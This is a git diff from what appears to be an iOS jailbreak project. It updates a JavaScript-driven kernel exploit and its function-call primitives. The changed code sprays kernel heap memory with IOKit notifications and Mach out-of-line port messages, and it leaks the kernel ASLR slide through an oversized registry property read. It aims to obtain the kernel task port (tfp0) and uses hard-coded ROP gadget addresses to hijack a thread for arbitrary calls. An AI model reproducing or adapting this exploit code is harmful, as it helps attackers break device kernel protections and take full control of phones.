diff options
Diffstat (limited to 'src')
| -rw-r--r-- | src/gen/main.c | 8 | ||||
| -rwxr-xr-x | src/js/kexp/exploit.js | 79 | ||||
| -rw-r--r-- | src/js/lib/utils.js | 3 | ||||
| -rw-r--r-- | src/js/main.js | 5 | ||||
| -rw-r--r-- | src/js/primitives/call.js | 73 |
5 files changed, 89 insertions, 79 deletions
diff --git a/src/gen/main.c b/src/gen/main.c index 7d8c4fd..30726d5 100644 --- a/src/gen/main.c +++ b/src/gen/main.c @@ -341,6 +341,10 @@ int main(int argc, writebuf_unslid(0x108000, "var parent = new Uint8Array(0x100);" "var child = new Uint8Array(0x100);" + "var parent16 = new Uint16Array(0x100);" + "var child16 = new Uint16Array(0x100);" + "var parent32 = new Uint32Array(0x100);" + "var child32 = new Uint32Array(0x100);" " var fuck = new Array();" " for (var i = 0; i < 0x200000; i++) {" " fuck[i] = i;" @@ -350,6 +354,10 @@ int main(int argc, "//shitalloc();", strlen("var parent = new Uint8Array(0x100);" "var child = new Uint8Array(0x100);" + "var parent16 = new Uint16Array(0x100);" + "var child16 = new Uint16Array(0x100);" + "var parent32 = new Uint32Array(0x100);" + "var child32 = new Uint32Array(0x100);" " var fuck = new Array();" " for (var i = 0; i < 0x200000; i++) {" " fuck[i] = i;" diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js index 22f68ca..544a876 100755 --- a/src/js/kexp/exploit.js +++ b/src/js/kexp/exploit.js @@ -85,10 +85,11 @@ function spray_data(mem, size, num, portptr) { printf("%x %x\n", master, read_u32(master)); printf("%x\n", read_u32(0x36ebf00c + get_dyld_shc_slide())); ret = io_service_add_notification_ool(read_u32(master), "IOServiceTerminate", dict, __cnt * 4, MACH_PORT_NULL, NULL, 0, err, portptr); - printf("still alive?\n"); + printf("still alive? %x %x\n", err, read_u32(err)); if (ret == KERN_SUCCESS) { ret = read_u32(err); } + printf("still alive? %x %x\n", err, read_u32(err)); return ret; } @@ -106,6 +107,7 @@ function copyinPort(kport, cnt) { fakeportData = malloc(4); host_get_io_master(mach_host_self(), master); ret = spray_data(NULL, 0, 5, data); + printf("sprayed, still here\n"); printf("spray_data=%d (%s)\n", ret, mach_error_string(ret)); printf("sprayed, still here\n"); @@ -129,17 +131,21 @@ function copyinPort(kport, cnt) { IORegistryEntryGetChildIterator(service, "IOService", it); var found = false; + var o = IOIteratorNext(read_u32(it)); + printf("%x\n", o); - while ((o = IOIteratorNext(read_u32(it))) != MACH_PORT_NULL && !found) { + while (o != MACH_PORT_NULL && !found) { var buf = malloc(16 * 4); var size = malloc(4); write_u32(size, 16 * 4); ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", buf, size); + printf("%d %s\n", ret, mach_error_string(ret)); if (ret == KERN_SUCCESS) { printf("yolo\n"); // mach_port_deallocate(self, read_u32(data)); // write_u32(data, MACH_PORT_NULL); spray_data(tst, strlen(tst) + 1, 10, fakeportData); + printf("still still alive?\n"); kslide = (((read_u32(buf + (9 << 2)) & 0xFFF00000) + 0x1000) -0x80001000) >>> 0; printf("still alive? %x\n", 420); printf("YOLO YOLO YOLO kaslr_slide=%s\n", kslide.toString(16)); @@ -147,6 +153,7 @@ function copyinPort(kport, cnt) { return ((read_u32(buf + (4 << 2)) - 0x78)) >>> 0; } } + printf("didn't find it\n"); } function prepare_ptr(dict, size, ptr, num) { @@ -183,7 +190,7 @@ function spray(dict, size, port) { var kp = 0; function spray_ports(number_port_descs) { -// printf("spray_ports %d\n", number_port_descs); + printf("spray_ports %d\n", number_port_descs); if (kp == 0) { kp = malloc(4); mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, kp); @@ -211,10 +218,11 @@ function fast_log2(n) { } function fast_array_mul(arr, n) { + var up_to = fast_log2(n) + 1; var tmp_arr = arr; var done = 0; - for (var i = 0; i < fast_log2(n) + 2; i++) { - tmp_arr = tmp_arr.concat(tmp_arr); + for (var i = 0; i < up_to; i++) { + tmp_arr.push.apply(tmp_arr); done = (1 << i); } @@ -232,27 +240,33 @@ function send_ports(target, payload, num, number_port_descs) { write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs); - var new_buf_ = new Array(); - var tmp = u32_to_u8x4(init_port_set); - new_buf_.push(tmp[0]); - new_buf_.push(tmp[1]); - new_buf_.push(tmp[2]); - new_buf_.push(tmp[3]); - tmp = u32_to_u8x4(num); - new_buf_.push(tmp[0]); - new_buf_.push(tmp[1]); - new_buf_.push(tmp[2]); - new_buf_.push(tmp[3]); - new_buf_.push(0); - new_buf_.push(0); - new_buf_.push(MACH_MSG_OOL_PORTS_DESCRIPTOR); - new_buf_.push(19); + var new_buf = new Uint32Array(3); +// var tmp = u32_to_u8x4(init_port_set); + new_buf[0] = (init_port_set); + new_buf[1] = (num); + new_buf[2] = ((19 << 24) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 16)); + +// new_buf_.push(tmp[0]); +// new_buf_.push(tmp[1]); +// new_buf_.push(tmp[2]); +// new_buf_.push(tmp[3]); +// tmp = u32_to_u8x4(num); +// new_buf_.push(tmp[0]); +// new_buf_.push(tmp[1]); +// new_buf_.push(tmp[2]); +// new_buf_.push(tmp[3]); +// new_buf_.push(0); +// new_buf_.push(0); +// new_buf_.push(MACH_MSG_OOL_PORTS_DESCRIPTOR); +// new_buf_.push(19); // printf("%x 0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,\n", new_buf_.length, new_buf_[zz]]); - var new_buf = fast_array_mul(new_buf_, number_port_descs); +// var new_buf = fast_array_mul(new_buf_, number_port_descs); - fast_write_buf(buf + req_init_port_set, new_buf); + for (var i = 0; i < number_port_descs; i++) { + write_u32_buf(buf + req_init_port_set + (i * 0xc), new_buf, new_buf.length * 4); + } /* for (var i = 0; i < number_port_descs; i++) { @@ -286,7 +300,7 @@ function release_port_ptrs(port) { var ret = mach_msg(req, MACH_RCV_MSG, 0, (0x1c + (5 * 0xc) + 0x8), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); printf("alive\n"); // if (ret != KERN_SUCCESS) { - printf("mach_recv %d %s\n", ret, mach_error_string(ret)); +// printf("mach_recv %d %s\n", ret, mach_error_string(ret)); printf("alive\n"); // } free(req); @@ -339,34 +353,19 @@ function get_kernel_task() { prepare_ptr(big_buf, big_size, kptr, 256); prepare_ptr(small_buf, small_size, kptr, 32); - sched_yield(); + var dummy = malloc(4); for (var i = 0; i < PORTS_NUM_PRESPRAY; i++) { - var dummy = malloc(4); spray(big_buf, big_size, dummy); } - sched_yield(); + var dummy = malloc(4); for (var i = 0; i < PORTS_NUM; i++) { write_u32(fp + (i << 2), spray_ports(i)); - var dummy = malloc(4); spray(small_buf, small_size, dummy); } - sched_yield(); for (var i = 0; i < PORTS_NUM; i++) { - printf("test\n"); - printf("test1\n"); - printf("test2\n"); - printf("test3\n"); - printf("test4\n"); - printf("test5\n"); - printf("test6\n"); - printf("test7\n"); - printf("test8\n"); - printf("test9\n"); - printf("test10\n"); release_port_ptrs(read_u32(fp + (i << 2))); - printf("test11\n"); } printf("get lucky\n"); diff --git a/src/js/lib/utils.js b/src/js/lib/utils.js index 361e71d..dfdf38a 100644 --- a/src/js/lib/utils.js +++ b/src/js/lib/utils.js @@ -30,6 +30,7 @@ function unhexlify(hexstr) { return bytes; } +/* function hexdump(data) { if (typeof data.BYTES_PER_ELEMENT !== 'undefined') data = Array.from(data); @@ -44,7 +45,7 @@ function hexdump(data) { } return lines.join('\n'); -} +}*/ // Simplified version of the similarly named python module. var Struct = (function() { diff --git a/src/js/main.js b/src/js/main.js index 9b03c98..7021ab1 100644 --- a/src/js/main.js +++ b/src/js/main.js @@ -19,6 +19,9 @@ var PROT_EXEC = 0x4; var MAP_PRIVATE = 0x2; var MAP_ANON = 0x1000; +/* + * leftover shit from jsc_fun, used to be using `log` + */ try { puts("we out here in jsc"); } catch (e) { @@ -57,7 +60,7 @@ function main() { printf("tfp0=%x\n", tfp0); - return 0; + return; var i = 0; while (true) { diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js index e382470..be4f254 100644 --- a/src/js/primitives/call.js +++ b/src/js/primitives/call.js @@ -24,7 +24,15 @@ var countptrptr = 0x132000; var thptrptr = 0x132004; var thread_stateptrptr = 0x132008; +var pthread_exit = 0x20633048 | 1; +var pthread_join = 0x20636af4 | 1; +var add_sp_0x3c = 0x23d72b5a | 1; +var mov_r1_r0 = 0x72f76 | 1; +var mov_r0 = 0xee40 | 1; +var str_r0_r4 = 0x85474 | 1; + var stack_shit = 0x161000; +var pthread_ret = 0; function get_dyld_shc_slide() { /* @@ -120,6 +128,18 @@ function calls4arg(sym, r0, r1, r2, r3) { var rth = 0; +function symaddr(sym) { + if (sym in sym_cache) { + var addy = sym_cache[sym]; + } else { + var dlsym_addy = read_u32(reserve_addr + 24 + slid); + var shc_slide = read_u32(reserve_addr + 20 + slid); + var addy = call4arg(dlsym_addy + shc_slide, 0xfffffffe, sptr(sym), 0, 0); + sym_cache[sym] = addy; + } + return addy; +} + function callnarg() { if (arguments.length < 1) { return printf("error: tried to run callnarg without args. arguments.length=%d\n", arguments.length); @@ -151,19 +171,16 @@ function callnarg() { /* * if the thread doesn't exist, create it. */ - if (read_u32(th) === 0) { - calls4arg("pthread_create", threadptr, 0, __stack_chk_fail_resolver + dyld_shc_slide, 0); - thread = read_u32(threadptr); - write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0)); - rth = read_u32(th); + calls4arg("pthread_create", threadptr, 0, __stack_chk_fail_resolver + dyld_shc_slide, 0); + thread = read_u32(threadptr); + write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0)); + rth = read_u32(th); + calls4arg("thread_suspend", rth, 0, 0, 0); + + if (pthread_ret == 0) { + pthread_ret = malloc(4); } - if (rth === 0) { - rth = read_u32(th); - } - -// calls4arg("thread_suspend", rth, 0, 0, 0); - /* * write first 4 to r0-r3, rest to stack */ @@ -175,10 +192,9 @@ function callnarg() { } } - /* - * r9 - */ - write_u32(thread_state + (11 << 2), 0x1337); + var stack_shit_ret_offset = 0x58; + + write_u32(stack_shit + stack_shit_ret_offset, pthread_exit + dyld_shc_slide); /* * stack @@ -188,7 +204,7 @@ function callnarg() { /* * return address, infinite loop */ - write_u32(thread_state + (14 << 2), __stack_chk_fail_resolver + dyld_shc_slide); + write_u32(thread_state + (14 << 2), add_sp_0x3c + dyld_shc_slide); /* * pc @@ -210,27 +226,10 @@ function callnarg() { calls4arg("thread_set_state", rth, ARM_THREAD_STATE, thread_state, ARM_THREAD_STATE_COUNT); calls4arg("thread_resume", rth, 0, 0, 0); - /* - * spin wait for return - */ - while (true) { - /* - * reset, it's used as input for thread_state size - */ - write_u32(count, 17); - calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count); - - /* - * if the pc is in (resolver, resolver + 8), suspend the thread - * (to not spin endlessly), read r0 and return - */ - if (((read_u32(thread_state + (15 << 2)) - (__stack_chk_fail_resolver + dyld_shc_slide)) <= 8) && (read_u32(thread_state + (11 << 2)) == 0x1337)) { - calls4arg("thread_suspend", rth, 0, 0, 0); - return read_u32(thread_state); - } - -// calls4arg("usleep", 1000, 0, 0, 0); - } + calls4arg("pthread_join", thread, pthread_ret, 0, 0); + write_u32(count, 17); + calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count); + return read_u32(pthread_ret); } /* |
